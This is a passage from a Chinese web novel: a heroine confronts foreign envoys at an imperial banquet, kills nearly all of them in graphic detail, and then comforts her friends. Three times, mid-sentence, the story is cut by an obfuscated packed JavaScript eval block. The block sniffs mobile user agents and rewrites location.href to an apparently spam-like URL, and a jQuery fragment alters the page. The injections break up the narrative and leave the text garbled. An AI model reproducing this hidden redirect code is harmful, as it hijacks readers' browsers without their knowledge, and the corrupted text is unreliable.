还未等池千鲤平复惊慌的思绪,大殿中,所有人的目光早已投向大门处。 众人目光皆不相同,有好奇,有敌意,有猜忌。 ——总之,没有什么好情绪。 因为众所周知,北燕和大越向来水火不容,在百年间已经有过数次摩擦,并且实力强劲,乃是大越不可忽略的一个潜在危机。如今,两国虽能维持表面和平,但暗中波涛汹涌,互相看不惯已久,战争开始也就是一句话的事。 这些是池千鲤在东越呆了这么长时间才慢慢得知的,不过对于本土人来说却心知肚明。 她想到金玉泠要去这样的地方,不禁心里有点闷,虽然最后没去成,但还是愤愤不平。 在众人不善的注视下,金碧辉煌的大门打开,北燕使臣一行招摇入场。 为首的是一个生得很彪悍的大汉,皮肤黝黑,蓄着一把络腮胡,身着红色的使臣服制,走路大摇大摆,极其张扬。 后面的人长得也都大差不差。北燕是个正儿八经的游牧民族,其住民皮肤黑黄,但打架很凶猛,刀枪棍棒、骑马射箭,无一不精。他们的统治者也并不称皇帝,而是称部落首领,自封为王。 眼下这帮家伙便趾高气昂地走到明齐帝眼前,很敷衍地行了个礼,也不等上首的明齐帝说些什么,便自顾自地打开礼盒,嚷嚷起这次他们呈上的礼物来。 池千鲤看得清楚,明齐帝的眼里闪过一丝很明显的不虞,但也不好多说什么。 这礼物也不是什么稀罕物品,只是一把普通的弓,虽做工精美了些,但池千鲤略略粗扫一眼,这弓压根不算什么好货,别说她以前的仓库了,就算在皇室武器库里随便都能找到一把比这个好的。 明齐帝不是个识货的,但这不妨碍他觉得这弓简陋,也不妨碍他觉得这帮人实在无礼,故而面色更加不好看。 这些都被池千鲤看在眼里,她默默地戏谑了一句,这大概是她和这位皇帝意见最统一的一次。 这使臣絮叨完,把弓交到一旁的年轻太监手里,许是那弓太重,小太监一个踉跄,差点连人带弓摔翻在地,落在北燕使臣们的眼里,爆发出一顿哈哈大笑。 “我说陛下,”为首的那个用不太标准的中原话大笑着戏谑明齐帝,“您宫里这些人可都是些小身板,一个爷们连弓都拿不动,拿什么跟我们北燕的汉子比呀?” 随即他又猛地想起什么似的,一拍脑袋:“噢,我可忘了,什么汉子,陛下宫里这些人可称不上汉子呢!” 那些人对视一眼,又大笑起来。 池千鲤这个非本地居民倒没什么想法,顶多就是觉得这些人讲话一股怪味,待会儿离远点别被传到自己身上了,可正儿八经的东越人们却不这么想。 那些朝臣官员们一个个都黑了脸,恶狠狠地盯着这些使臣。命妇们也没好多少,因为离得远,在这边窃窃私语地讨论起来,一边说一边以帕掩鼻,一看就很嫌弃这些使臣。 金玉泠咬牙切齿地低声骂:“……一群狗东西,在这儿指桑骂槐。” 池千鲤顿了顿,还是转过头去安抚了一下金玉泠。 这阵骚乱不一会儿就被明齐帝抬手平息了。他深吸一口气,尽量平静地目视着这些使臣:“使者说笑了,几位远道而来,不了解大越规矩也是有的,散席后朕自然会派出我们大越的使者,与使者们好好交谈。” 他挥挥手,表示这事就这么过去了,一旁的申公公很懂眼色,赶忙招招手示意歌姬舞姬继续上台表演。 不多时,歌舞继续演奏下去,使臣一行眼见讨了个没趣,也就不再吱声。 虽然明眼人都看得出来,东越和北燕关系有多差,不过明面上,两国还是要粉饰太平的。如今东越皇帝发了话,这帮做使臣的也不好太过逾越。 ——毕竟真打起来,北燕也不能完全确保自己可以战胜东越。 歌舞接着演奏,却没有一个人有心看了。包括池千鲤都在皱眉沉思,似乎想着什么事情。 不过多时,这帮使臣又开始找麻烦。 他们开始不断地向歌姬舞姬们吹口哨,然后看着对方或是怔愣或是羞恼的神色,哈哈大笑起来,欣赏这些舞姬们因为混乱乱了阵形的状况。 池千鲤被吵到了,皱眉抬头望向声源处。 这帮杂种没完没了了是不是? 她抬头一瞧,明齐帝神色如常,并没有要管的意思。 池千鲤很不解。 他们指桑骂槐说你不是人不配和北燕相提并论,你不生气,现在这帮人欺负到你的子民头上了,你还不生气? 这当的是什么破皇帝? 又是一阵大笑声,这回是一个舞姬跌倒了,带翻了两三个同伴,引起一阵不小的骚乱。 池千鲤烦躁地揉了揉眉心。 这帮人现在吵到她了,她很烦,根本没有办法好好想事情。 她很讨厌被人打断思路。 于是池千鲤眉心焦躁地一跳,用不大不小,刚好全场都能听到的声音冷冷地说了一句: “这帮没爹养的东西在干什么。” 全场突然安静下来了。 “叮——” 一个乐师的簪子掉到地上,发出清晰可闻的声音。 对面的使臣这才反应过来,大声地怒吼站起来:“你说什么?” 池千鲤一记眼刀飞过去:“没听清楚吗?” “看来不光没爹养,耳朵还聋。” 池千鲤这桌其余六个人吓得眼睛都要掉出来了,就连胆子最大的裴明镜也脸色惨白。 一帮使臣这下是真的被惊到了,一个个摩拳擦掌地想要动手。为首那个大汉眼睛一转,转向高台,大声控诉道:“陛下!” “没想到东越人这么不欢迎我北燕!这便是东越的态度吗?” 后面跟着的也一个个醍醐灌顶,一叠声地喊冤。 “我们北燕听闻今日是东越特殊的节日,特地来送礼。” “没想到东越就是这么回报的。” “唉,看来不得不如实汇报给大王了。” 明齐帝到现在才反应过来,结果他的第一反应却是乐了。 干得好啊!骂得漂亮啊! “陛下,”为首的使臣一脸阴郁地抬头,“给个解释吧。” 一旁的池千鲤同样面色淡淡地看向他。 他本来想象征性地训斥几句池千鲤,让她下跪跟北燕使臣道个歉,这事儿就这么了结了,结果他一转头,对上了池千鲤的眼睛。 他突然握紧了扶手,冷汗一下子从背后冒出来。 池千鲤只是很平静地注视着他。 她的目光中不带任何不满、愤怒、难过,没有任何这个年纪的小孩被凶过后,应该有的情绪。 但他却发抖了。 她的眼睛很深邃,像是一个不见底的黑洞,居然没有一丝光亮,甚至连烛火的反光都没有。 这太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412422|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪太奇怪了,简直是诡异。他总觉得这双眼睛不是活人的,直视久了,会让人心生恐惧,会让人忍不住啊啊惨叫,然后一头碰死。 池千鲤似乎察觉到他在考量,居然动了。 她弯弯眼睛,做出一个笑的表情,然后歪了歪头,像是一个小女孩对依赖的长辈那样天真无邪。 但他有种直觉。 ——他如果命令这个少年下跪,她会首先拧断他的脖子。 于是他一个激灵,立刻转向使臣一行人,强作镇定地一摆手:“哎,一个十五六岁的小孩子罢了。” “你们这帮活了三四十岁的,还要跟一个孩子计较不成?让人笑掉大牙了!” 使臣胜券在握的眼神逐渐变得错愕,紧接着是不可置信。 他……在……开玩笑吗? 就这么轻轻揭过去了? 眼下明齐帝根本没心思管他们的反应,他哆哆嗦嗦地看了一眼池千鲤。 对方面无表情地回视着他。 他又是一个激灵,直接对使臣一行训斥道:“你们干什么呢?还杵在那里?难不成北燕人都这么小肚鸡肠,和一个小女孩过不去了不成?!” “赶紧的坐下坐下坐下,呃,接着奏乐接着舞!” 使臣们最后稀里糊涂地坐下了。 “那日苏,”其中一个对为首的那个不可置信地发问,“这皇帝是疯了不成?前几年来的兄弟们不是说他只会窝里横,懦弱无为吗?” 那日苏沉沉地看了一眼池千鲤,对方已经好整以暇地坐下来撑着脑袋了,看上去有恃无恐,十分嚣张。 他皱眉:“难不成这黄毛丫头是情报上写的,这皇帝最宠的二公主?” 众人一愣,随后在心中合计起来,然后发现年龄果然对得上。 “虽然不知道她穿得为什么这么丧气,脸上又为什么有疤,但想必就是了。”那个人又凑到那日苏耳边,“头儿,你还记得我们这次前来另外一个任务不?” “自然,”那日苏想到这里,露出一个意味不明的笑,“如果这就是二公主,那便好办了。” 另一边,真正的二公主金玉泠正心有余悸地跟池千鲤咬耳朵:“你刚刚可真是太冒险了!万一那些人对你发难怎么办!” 池千鲤刚要回答,却耳朵一动,又听到后面的使臣站起来了。 她都被气笑了,这帮人到底要干嘛? 她面色沉沉地转头望去。 正在小心翼翼觑着池千鲤脸色的明齐帝也是吓了一跳,惊魂未定地望向这帮人。 “陛下!”那日苏朗声道,“大王这次派我们前来,还有一事!” “什么?但说无妨。”明齐帝吞了口口水,强自镇定道。 那日苏挑衅地看了一眼池千鲤。 池千鲤眼皮一跳,心里升腾起一阵不祥的预感。 果然,那日苏开口道:“大王说了,听闻贵国二公主明礼知仪,倾国倾城,想求二公主和亲为妃!” 这话一出,明齐帝甚至还没开口,一个熟悉的方向就传来一声陶瓷碎裂的声音。 紧接着,又听得一个淡漠又凉薄的声音: “好啊。” 那日苏一愣。 她说什么? 那声音却还没说完,只听其主人再次悠悠开口道: “我们比试一番,若是你们武功在我之上,公主便和亲与北燕。” “若在我之下,立刻跪下来扇自己八十一个巴掌给公主道歉。” 25. 滔天之怒血染高堂 碗碟的碎片划到那日苏的脚底下。 给公主跪下来道歉?要求是比武? 此时此刻,那日苏的心里完全没有愤怒,只觉得可笑至极。 一个十五六岁的中原小女孩,要和他们这些马背上长大的成年汉子比武? 真是滑天下之大稽! 后面跟着的一群使臣呆愣了片刻,哄地一声大笑起来,比刚刚挑衅明齐帝的时候笑得真诚多了。那日苏假模假样地向下压手,示意他们停下,可自己也快憋不住了。 搞什么?还说得这么信誓旦旦的?传回北燕,说那日苏等人跟小孩儿比武,大伙儿还不得笑他个十天半月? “小公主,”后面一个人大步上前,带着轻蔑的笑低头看向池千鲤,“你在宫里学了点三脚猫功夫,就想来跟我们比武?再过个一百年吧!” 说完,他自顾自地哈哈大笑起来。 结果这声笑还没落地,就突然转了个音,变成了毛骨悚然的惨叫: “啊!我的眼睛!啊啊啊啊啊啊啊!” 使团的哄笑戛然而止了。 他们不约而同地倒退数步,手指抖抖索索地指着这人的脸,脸色惨白,有胆子小的哇哇大叫起来,更有甚者一屁股坐到了地上,摔了个人仰马翻。 “我的眼睛!我的眼睛怎么了!” 他跌跌撞撞地走向自己的同僚,捂着自己的右眼,有鲜血从他的指缝间滴落到红毯上,晕出一片不自然的深红。 他慢慢松开手,脸上哪还有右眼,只有池千鲤的脚边落着一团圆滚滚血糊糊的东西。现在当事人正从旁边的华衣姑娘袖子里抽了块手帕,慢条斯理地擦着自己沾了血污的手。 “我很讨厌别人打断我说话。你刚刚似乎很喜欢盯着我们中原的舞者看,让我很不爽,所以废你一只眼睛。”池千鲤擦完手,把帕子随手一扔,刚好盖住那一只血肉模糊的眼睛。她微微一笑,目光又瞬息变得凌厉:“现在还有谁要说话?” 刚刚那个人已经独眼一翻晕过去了,使团里剩下的人甚至都忘了拿两国友谊来威胁,战战兢兢地打着哆嗦看向池千鲤,就连那日苏也脸色一会儿青一会儿白。 不止北燕使团,在场所有人都屏住了呼吸脸色惨白,官员们、命妇们、公子们、小姐们,甚至有厥倒在地不省人事的,这其中包括明齐帝身边的申公公。 明齐帝也是死死抓住扶手才能不晕倒在地,甚至他觉得眼前已经有重影了,裴皇后感觉自己吃的晚饭都要吐出来了,早知道少吃点。 金玉泠和裴明镜脸色好一点,但不多,她们看过池千鲤打架,但是第一次看到池千鲤如此暴虐的模样,简直像一头发狂的凶兽。 整个大殿只有凌贵妃一个人缩在小角落里看得两眼发光。 “针对你们刚才的话,我觉得你们对我有些误解。”池千鲤环视一圈,见没人敢说话了,才满意地点点头说下去,“首先声明,我不是二公主,当然也不是任何一位公主。” 不是公主? 那日苏愣了一下,想起了池千鲤刚才的话。 ——若你们武学在“我”之下,就要给“公主”道歉。 起先他们没注意,现在才后知后觉地发现,哪有人称呼自己是这么说的? 使团中有几个人张了张嘴,大着胆子想要问池千鲤那你是谁,结果池千鲤一瞥过来,他们瞬间打了个哆嗦,搂作一团再不敢说话了。 池千鲤淡淡收回目光:“现在我开始宣布比武规则。” 甚至没有指明谁来参加,没有询问谁的意见,就开始自说自话地公布规则。 “本来呢,我想给你们一点面子,你们自己选一个人来参加,点到为止,意思意思。”池千鲤自顾自地坐下,居然闭上眼睛撑着头,揉起了太阳穴,“比武嘛,也不需要见血。” “但是现在呢——”她打了个响指,突然睁开眼睛,倾身向前,惨白带着疤的一张脸在刹那间逼近使团。 使团众人被突脸突了个猝不及防,吓得抱团惨叫起来,哇哇声响彻宣和殿上空。 池千鲤像是觉得很好笑似的,拊掌大笑起来,前仰后合,笑出眼泪:“——我改主意啦!” 她的脸在一瞬间变得面无表情,突然几步走到大殿侍卫面前。 “唰——” 长剑出鞘。 她拔出了剑,却并不着急,慢悠悠地把剑比到使团其中一人的咽喉处。 那人一瞬间浑身血液都凉了,两股战战,整个人抖成个筛子。 池千鲤静立了一会儿,似是觉得惋惜地摇摇头,然后刷拉一下,把剑比到了另一个人的心脏处。 这样的场景持续了两三回,最后,她把长剑悬到了那日苏的头顶,那长剑摇摇晃晃,像是一把随时会落下的审判之剑。 那日苏感觉一滴冷汗顺着自己的下颔滴落。 “你们所有人一起上,”池千鲤的声音很浅淡,无悲无喜,仿佛天外来音,“生死自负。” 她转身抬腿踏出大殿:“把那个独眼狗也叫醒。” 这话一出,使团所有人都双脚一软,好像已经被判官划去名字似的,目光呆滞地看着池千鲤的背影。 池千鲤很生气。 前所未有的生气。 也不能说前所未有,或许有过吧,但那也是在一千年之前了。 在她仅存且清晰的记忆里,这是第一次、也是唯一一次这么生气,怒气撕裂她麻木的笑脸面具,争先恐后地喷薄而出。 “砰。” 在她踏出门槛的那一刻,胸腔里有一个陌生又熟悉的声音跳动了一拍,然后这个声音接踵而来。 “砰、砰、砰。” 池千鲤从没有料想过她会这么生气,她想过很多次她该如何面对金玉泠去和亲的场景。 哭着的?平静的?冷漠的?悲伤的?面无表情的?内心酸涩的? 这是历史了,池千鲤安慰自己。 这是历史,冷静下来,池千鲤,你无法改变它,一切都将顺着历史的潮流前进,不要因此生出多余的情愫,你看,金玉泠和裴明镜在现在的时间线都过得很好。 但下一次,她又会忐忑地重新考虑这个问题。 人会反复设想自己在意的那个瞬间,直到它终于降临。 直到它终于降临,池千鲤才发现都不是。 是生气的、癫狂的、愤恨的、汹涌的。 怒火中烧的、雷霆万钧的。 她忍不了。 一想到金玉泠要去这些人的国度,整天被这些野蛮人调笑,当成敌国的质子百般欺辱,她就忍不了。 池千鲤闭上眼睛又睁开,冷眼看着稀疏走出来的使团人群。 好戏开场了。 “啧啧啧啧啧啧,”一个穿得很素净的少年一边嗑着瓜子,一边站在云端上看,瓜子壳唰唰啦啦落在云间,“凌霄真是一点都没变啊,我和司命那家伙可都做不到这样。” 他后面冷不丁传来一个声音:“所以时空乱流才选了凌霄,没选你也没选我呗。” 这少年吓得把瓜子一扔:“司命?你怎么回来了?你不是去出差了?” 这声音的主人不是别人,正是给池千鲤撂了几句话就消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412423|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见的司命星君。 洛凌波的表情立刻变得神神叨叨:“我马上还得回去呢,话说司禄你不知道,那未来发生了好多事,有个掌管……” 司禄星君一拍脑袋:得,又开始了。 他赶紧嘘了一声,指指下面:“你别打岔了,赶紧看凌霄打架吧!我都一千年没看到凌霄打架了!” “叮铃——” 一道鬼魅一般的白影自十步开外闪现而来,在人群间跳跃穿梭,挑衅般地与这些人的兵器接触,发出清脆的相击声。 使臣团这才感觉不对,连忙照着那白影急头白脸地劈去。 却听轰地一声,所有人都被震飞,有些甚至在空中吐了口血,撞到房梁,挂到石像上。 随着空地中尘土散去,池千鲤赫然站到了最中央,而周围是一圈北燕使臣,把她团团包围,她两指利落地一划剑身,手指居然奇异地毫发无损。 池千鲤似乎并没在意自己所处的位置正是兵法中最劣势的包围圈中央,满不在乎地掀起眼皮看了眼剑:“这剑太差,但开始吧。” 独眼狗最先反应过来,大吼一声,连着自己被废一眼的怒火冲了上去,其余人有样学样,吼叫着冲上去。 他们离池千鲤越来越近,但她始终没动。 独眼狗兴奋得心要从嗓子眼里跳出来,甚至让他忘了刚刚被池千鲤废了一只眼时,这人的恐怖。 再有五步,他就能刺中了! 五!四!三!二! 池千鲤动了。 她斜眼一瞥,随手挑了个剑花,哗哗两下在独眼狗的脸上画了个叉,然后刺拉一下穿透中间的那个点,以不可思议的力度贯穿了他的整个头,长剑一抬,把他的上半张脸竖着劈成两半,带出一点温热的血红和黄白。 甚至没来得及发出一声惨叫,就命丧黄泉。 周围的人愣了一下,还没来得及反应过来发生了什么事,池千鲤便以不可思议的速度转向另一边的两人,长剑一挥,横向劈砍,就又有两人的头身分离。 接下来的战斗快得顺理成章。 池千鲤似乎嫌这样太慢了,于是迟疑一下,然后一拍脑袋,持剑随手几点,看似随意,前方几人却都接连发出惨叫声——他们的眼睛看不见了。 于是池千鲤脚一点地,凌空飞起,从太阳穴的位置把这些人的头像切菜一样削成两半,削了大约有十几剑,才翩翩落下,随之倒下的还有几十具半头躯体。 余下几人吓得快失禁了,扔了手上的兵器,哇哇叫着就要逃。池千鲤撇撇头甩掉脸上血珠,一只眼睁一只眼闭,将剑平举,似乎在比比划划什么。 不过很快他们就知道了。 几息之后,池千鲤以一个偏转的角度把剑一甩,这剑居然像活了一样,直指最近一人的心窝将其穿透。 这还没完,这邪门的剑还没停,刺穿了这人的左胸,还拖着他继续往前飞,紧接着匪夷所思地贯穿了下一个人的身体。 接着是第三个、第四个…… 足足穿刺了六个人,这些人像烧烤串一样把整只剑穿满,刚好看见剑尖冒出一个小头,它晃晃悠悠,带着六人的身体叮当一声落了地。 场上就剩下两个人。 那日苏精神已经崩溃了,看着池千鲤拔出那把剑,惨叫一声就要逃。 然而这女子却像鬼魅一般瞬移到了他的正后方,冰凉的手抓住了他的后脖颈。 “别跑呀。” 池千鲤声音幽幽,白衣被血染红了一半,像是厉鬼索命。 “留你一个,之前说好的,下跪扇巴掌道歉。” 26. 滔天之怒血染高堂(二) 最后那日苏跪在金玉泠面前扇了自己八十一个巴掌才回去,饭也无心再吃,心神不宁地坐了一会儿,就魂不守舍地告辞回驿站了。 来的时候五十个人,走的时候独身一人。 池千鲤冷眼看着,没有说话。 那日苏走了后,众人也没有心情再坐下去了,纷纷撂下筷子,坐立不安地觑一眼明齐帝,又觑一眼池千鲤。 明齐帝满脸恍惚,一头虚汗地瘫在自己的龙椅上,但众人甚至也没有产生责怪的意思。 太恐怖了。 四十九人,只用了五息。 殿外时不时传来轻巧的走动声和令人毛骨悚然的呕吐声,想是清理的太监一个没忍住,当场吐了。 过了足足有半个时辰那么久,外面才走进来一个太监,行了个礼走到高台上,小声地往明齐帝耳边耳语了几句。 虽然明齐帝尚未发话,但在坐所有人都知道,外面清理完了。 他们已经窸窸窣窣地骚动起来,个个都跃跃欲试地想走。 谁会想在这里继续待下去?一想到这里刚刚死了四十多个人,闻着空气中弥漫的血腥味,再看看大殿中央还用白布盖着的一小团东西,没当场把早饭都吐出来都算好的了。 偏偏池千鲤顺着他们的目光,像是才想起来似的,慢慢走过去把那玩意儿捡起来,丢给从高台上报完信走下来的小太监:“把这个也扔了。” 那小太监脸色惨白,看到这个愣了愣,下意识地打开看了一眼,在看到那团东西的时候差点吓得又昏死过去。 明齐帝依然一副惊魂未定的样子,被旁边裴皇后皱着眉头捅了好几次,都一声不吭地瘫着。 眼看他这么不中用,池千鲤只好叹口气,偏偏头示意金玉泠主持大局。 金玉泠脸色其实也挺不好的,但她扬扬脖子,还是迅速地镇定下来。 她朗声道:“今日大家都累了,如今时日也已晚,各自打道回府吧,宫里事情繁杂,本公主及父皇母后也不送大家了。” 她这么一声命令下去,大多数人都如逢大赦,立刻原地起立,争先恐后地跑出大殿。 不过也有少部分人不服气便是了。 左相眉头一皱,看向金玉泠的方向。 皇帝和太子都没发话,让一个小公主主持大局?这皇宫要翻天了不成?! 他立刻把刚才的插曲都忘了,沉下脸来想要阴阳怪气几句,顺便暗暗提醒金清宸在此刻站出来,却在此时,一道目光投向了他的方向。 他脊背一寒。 是池千鲤。 她挑眉看着他,脸上已经恢复了平和——或许已经不能用平和来形容了,是残忍。 近乎冷漠的残忍。 她就这么静静地望着他,突然毫无征兆地露出一个笑,轻轻地把右手比到自己的脖颈间,狠狠一划! 楚相当即打了一个哆嗦,再不敢说一句话,连滚带爬地跑出了宣和殿。 池千鲤目送着他离开大殿,才不着痕迹地收回目光,将眸光落回在自己桌上的这群小姑娘们。 姑娘们也纷纷站起来,要起身离席了,个个一对视,把目光投向池千鲤。 池千鲤眨了眨眼,迟缓地反应过来:“我送送你们吧。” 她遥遥地向裴皇后点头示意一下,没有看明齐帝,拉着金玉泠和裴明镜,后面跟着金玉满金玉沁,送送另外两个孩子。 路上,七个人都很沉默,晚风带来一丝尚未散尽的铁锈味,池千鲤嗅了嗅,不好闻。 她的头发被吹得有点散乱了,像一件黑披风搭在肩膀上,随风飘扬,猎猎作响。 拐过几个弯,穿过长廊,走过广场,就到了朱雀门,女眷们从这里离宫。 池千鲤走到广场中央,停下脚步:“我就送到这里吧。” 其余六人也停下来看向她。 “为什么?”裴婉仪率先冷声发问。 池千鲤耸耸肩,不无遗憾地回答:“你们的父母应该不是很希望你们和我这种危险人物待在一起。” “……”裴明镜想了想,认真道,“我没父母,所以我可以和你待在一起。” 池千鲤缓缓扶额。 裴明镜:“……我开玩笑的。” 几人又沉默下来。 池千鲤难得低下头来,像是一个做错事的小孩。 “也许父母们是这么想的。” 出人意料的是,这次率先开口的是平时最为胆小的金玉沁。 池千鲤抬起头来,众人都抬起头来看她。 金玉沁似乎被这么多人注视着,愣了一下,脸慢慢红了,说话也结巴起来,但说得很坚定: “但是我……我……我没感觉池姑娘做错了!” 她咽了口唾沫,逐渐镇定下来:“本来北燕这次派使臣来,就很反常。使团还一下派了五十个人,都是彪悍凶恶之徒,定是……定是有不轨之心!” “老四说得对,”金玉满啐了一口,“那帮蛮夷还想让二姐和亲去,简直吃了熊心豹子胆,我呸!” 楚清乐也温声附和道:“如果我有武功,也定会去把他们揍一顿的,千鲤只是下手不小心重了一些,而他们身子骨又弱,这才没留意揍死了。” 这下别说其他人了,连池千鲤都抽了抽嘴角。 他们?身子骨弱? 这楚家姑娘胡说八道真有一套,这倒是和楚相如出一辙。 池千鲤抿抿嘴,心里有些不是滋味起来,甚至带了点茫然。 她这样做好吗?是不是过早地让这些孩子接触了暴力的一面?心理会不会扭曲?成长轨迹会有所变化吗? 恍恍惚惚地送完姑娘们,池千鲤和金玉泠裴明镜走在回宫的路上,晚风把她燥热的身体又吹得凉了下来,使她情绪变得稳定下来,忍不住开始担忧这些即将要去面对的问题。 “你不用担心我们。”冷不丁地,一直没说话的金玉泠开口了。 她像是看穿了池千鲤内心所想一样,其实这么说并不准确,她每次都能够看穿池千鲤内心所想。 金玉泠抬起头,认真地望着池千鲤的眼睛说:“你在担心带偏我们的成长轨迹吗?不会的。” “我们这些人本来就在暗流汹涌中出生,那些肮脏的、腌臢的、见不得人的权斗手段,我们从很早以前就不得不接触,不得不学会。” 她突然故作轻松地笑了:“所以千鲤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412424|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像你这样,看不惯的就打,惹你生气就杀,还挺不错的,比我们父辈的那些手段干净多了。” 池千鲤静静地看着这个一直握着自己手的女孩。 她的手心很温热,与之相反的,池千鲤的手是冰凉,像一团火遇到一块冰。 池千鲤心里突然有些不舒服。 “我这么说有让你好过一点吗?”金玉泠笑着问她。 “没有,”池千鲤这次没有笑,她凝视着对方的眼睛,很严肃地回答,“没有。” “我有点……难过。” 这真是太奇怪了。 她已经很久很久没有难过了,久到她以为这个无聊的情绪已经被她进化掉了。 如果说怪物尚且需要一丝恒定的愤怒来维持自己的战斗本能,那么怪物根本不需要难过。 悲伤、难过、痛苦、惋惜……这些都是不必要的情绪,它们会拖慢她工作的进度,如果她每看到一件不公平的事情都要产生这种负面的情绪,那她没有办法工作了,世上这种事太多了,多得像地藏王大人养的那只牛身上的毛。 “我从前从来没有难过过,”池千鲤的眼神聚焦,“你是第一个让我难过的人。” 不管是悲伤,还是暴怒,都是第一个。 “是吗,我很抱歉。”金玉泠满怀歉意地笑了笑,“不过你说你从前没有难过过,这是不可能的。” “就是这样的。”池千鲤不禁反驳。 “你有。”在一旁很久无言的裴明镜突然说。 “因为我看到过你去玉香楼打那些坏人。” 池千鲤和金玉泠俱都一怔,转头看向裴明镜。 裴明镜抬起头来,她的眼神很坚定:“那天我回去后想了很久,把你们两个从我复仇的名单上划去了。” “原来如此,你看到了啊。”金玉泠笑了,“我就说,你这个刺客对千鲤的态度转变也太快了。” 这下轮到池千鲤和裴明镜惊讶了。 “你知道?”池千鲤奇异地问道。 “当时一上车就看出来了。”金玉泠挑挑眉,“你不会真的觉得你的演技很好吧?论演技你还演不过我。” “那你还把我带回来。”裴明镜忍不住吐槽,“你都知道我可能要杀了你父皇。” 金玉泠懒洋洋地伸了个懒腰:“你要真能成功,那老家伙也确实不配当皇帝了。” 三人都笑起来,好像忘记了之前不可言说的阴霾,或者只是暂时放下置之不提。 “所以我说,”裴明镜把话题拉回正题,“千鲤就是有难过的。” 池千鲤摇摇头:“我没有,我只是觉得伸张正义是对的。” “那你怎么能确定什么是正义?”金玉泠笑嘻嘻地搭她的肩膀,伶牙俐齿道,“如果不是因为你为不正义而难过,又怎么知道什么是正义?” “我……” 池千鲤哑口无言,最后假模假样地一跺脚:“我说不过你们。” 其余两人都笑了,她们第一次瞧见池千鲤这样的模样。 “这样才好。”最后金玉泠说,“千鲤,这样真好。” “我希望你再也不需要用笃定的笑意掩饰跳动的真心。” 27. 滔天之怒血染高堂(三) 三人吵闹着回到寝殿,路过小厨房时正好要了三分宵夜回来。 “嘿嘿嘿嘿,”金玉泠揭开盖子,惊喜道,“今天我的是桂花冰酥酪哎,这个好好吃的。” 裴明镜打开,她的是芝麻白玉团。 池千鲤一边打开盒子一边往金玉泠碗里看了一眼,无奈道:“是你早上跟小厨房吩咐的吧?怎么冬天还吃冷的?” “要你管。”金玉泠护住食盒警惕地望着池千鲤,生怕她一个下令不许自己吃。 池千鲤摇摇头,转头望向自己那一份吃食——是三鲜鱼丸汤,香气扑鼻,令人垂涎欲滴。 她皱皱鼻子,没作声地把鱼丸汤默默推到一边,似乎有些嫌弃地不再看它,转头拿起尚未批改的作业开始看起来。 金玉泠正吃得不亦乐乎,抬头一看惊讶道:“你不吃吗?” “不爱吃鱼。”池千鲤淡淡道,“你要吃你吃好了。” 金玉泠听到这声许可,欢呼一声,把那碗汤也拉到自己的食盒里。 “明镜要吃吗?”池千鲤合上卷子,平和地看着裴明镜,“如果要吃你们一人一半。” 裴明镜撇嘴:“晚饭吃饱了,让老金吃吧。” 这货吃饭的时候吃得少,一有什么零食点心就吃得比谁都欢。 吃完夜宵,三人就各自洗漱,缩到被褥里准备就寝了,不过说是准备,嘴上也还是没闲下来,你一句我一句地闲扯开了。 金玉泠睡主卧她自己床上,裴明镜睡与主卧连通着的偏室,池千鲤本来是在不连通的侧间支了个小床的,但是今天不知怎么的,似乎聊得有些意犹未尽,便在金玉泠床前打了个地铺。 不知怎么的,就聊到今天宴会上的事儿来。 “虽然确实是吓人了一些,不过千鲤你可真厉害。”裴明镜由衷道。 “就是就是啊。”金玉泠顶着被子支棱起来,“打得真是爽极了!那北燕不教训一下,他们都不知道这是在谁的地盘上。” 池千鲤在铺盖里动了动,哼了一声。 金玉泠知道这是得意的意思,笑嘻嘻地继续说:“千鲤千鲤,下次我在外面遇到这种烂人,你再帮我……” 还没说完,她砰地一声从床上砸到地下。 池千鲤反应很快,立即翻身爬起:“怎么了?” 裴明镜也察觉不对,从偏室跑了过来。待看清楚金玉泠的状况后,两人俱是一惊,不约而同地大叫起来:“玉泠!” 只见这位二公主脸色惨白,双目紧闭,嘴角甚至泛出一些成分不明的白沫。 池千鲤脸色大变,几步走上前去,尝试着在金玉泠背部的穴位上点了两下。 ——少年脸色居然直接变青,哇地一声,一口鲜血吐在池千鲤的衣服上。 池千鲤心头一沉——不仅因为这口血,还因为她在这个时间线第一次遇到了束手无策的难题。她对医术毫无研究,现在金玉泠这状况,她甚至不知道这是犯了什么病。 池千鲤看着自己刚换下的衣服又被染红,心理却与方才大不相同,一阵惊慌从她心头浮起。她立刻站起来冲着外面吼了几声,对闻声而至的三个小宫女说:“去叫太医!叫皇后娘娘!分头去!越快越好!” 顿了一顿,她神色一瞬间变得有些复杂,最后还是吩咐剩下的那个:“也去叫一声陛下吧。” 